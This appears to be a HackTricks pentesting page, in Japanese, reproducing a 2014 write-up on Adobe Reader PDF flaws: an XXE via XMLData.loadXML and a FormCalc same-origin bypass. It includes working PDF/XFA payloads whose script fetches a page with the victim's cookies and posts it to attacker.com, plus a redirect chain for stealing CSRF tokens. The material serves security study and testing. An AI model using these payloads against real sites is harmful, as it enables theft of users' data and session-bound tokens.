hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
2023-07-07 23:42:27 +00:00

9.3 KiB
Raw Blame History

PDFアップロード - XXEとCORSバイパス

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.htmlからコンテンツをコピーしました。

Reader内のJavascript関数を使用して外部エンティティからデータを読み取ることができますCVE-2014-8452

ステータス: 修正済み
現実: 修正されていない

これは私が発見した単純なXXEについてのものです。
私は「Polyglots: Crossing Origins by Crossing Formats」という論文を読みました。そこでは、XMLData.parseにおける脆弱性について議論されていました。外部エンティティを使用して参照することができました。
仕様を読んでみると、「parse」以外にもXMLを読み取るための関数があります。
同じドメインのURLを参照する単純なxmlファイルを作成し、loadXMLで解析しました。
うまくいきました:

7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj


影響は限定的です。
o) 同一オリジンに限定されています。
o) HTMLページはXMLを壊します。
o) 動的エンティティはサポートされていません。
o) XML構造を壊さないためにUTF-16のXMLを使用するアイデアがありましたが、うまくいきませんでした。

しかし、それでもJSONを読むために使用することができます。

Readerでの同一オリジンポリシーバイパスCVE-2014-8453

ステータス:修正済み
現実:修正されましたが、同一オリジンはまだ脆弱です!

私の意見では、これは最も強力な脆弱性です。Origin Bypassなしでも、PDFがどれだけ強力で恐ろしいかを示しています。
多くの人がPDFがJavascriptというスクリプト言語をサポートしていることを知っていますが、もう一つあります。
Adobe ReaderでもサポートされているファイルタイプであるXFAの仕様書に記載されています。
それはformcalcと呼ばれ、あまり強力ではありません。単純な数学計算に使用されます。しかし、Adobeの仕様書には
3つの追加の関数があります「GET」、「POST」、「PUT」です。はい、その名前が示している通りです。
「GET」には1つのパラメータがありますURLです。ブラウザはい、クッキーもを使用してURLを取得し、その内容を返します。
それから「POST」を使用して返されたコンテンツを自分自身のサーバーに送信できます

var content = GET("myfriends.php");
Post("http://attacker.com",content);

これらの関数は同一オリジンですので、ウェブサイトは私たちがPDFをアップロードできるように許可する必要があります。
ほとんどのウェブサイトにとってはそれほど現実的ではありません。attacker.comは同一オリジンではないため、通常のAdobe製品と同様にcrossdomain.xmlを設定する必要があります。

要約するとこれはバグではなく、機能です。ウェブサイトでPDFをアップロードすることが許可されると、
PDFを閲覧しているユーザーのコンテキストでウェブサイトにアクセスできます。リクエストはブラウザによって発行されるため、クッキーも送信されます。
トークンを読んで任意のCSRF保護を破るためにも使用できます。

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012

% modified by insertscript

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
var content = GET("myfriends.php");
Post("http://attacker.com",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>

これらの関数を見つけた後、同一生成元ポリシーのバイパスを見つけました。これにより、被害者のブラウザをプロキシとして使用することが可能になります(@beefはまだモジュールを作業中です^^)。

バイパスは非常にシンプルです:

  1. ユーザーAはhttp://attacker.com/evil.pdfからevil.pdfを読み込みます
  2. Evil.pdfはformcalc GETを使用してhttp://attacker.com/redirect.phpを読み込みます
  3. redirect.phpは301でhttp://facebook.comにリダイレクトします
  4. Adobe Readerはこれに従い、crossdomain.xmlを探さずにレスポンスを読み込みます。
  5. evil.pdfはPOST経由で取得したコンテンツをhttp://attacker.com/log.phpに送信します

このテクニックを使用すると、ページのCSRFトークンを盗むことができ、CSRFの脆弱性を悪用することができます。

このシンプルなバイパスは修正されました。同一生成元リクエストに対するダイアログ警告を実装してほしいと思います。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥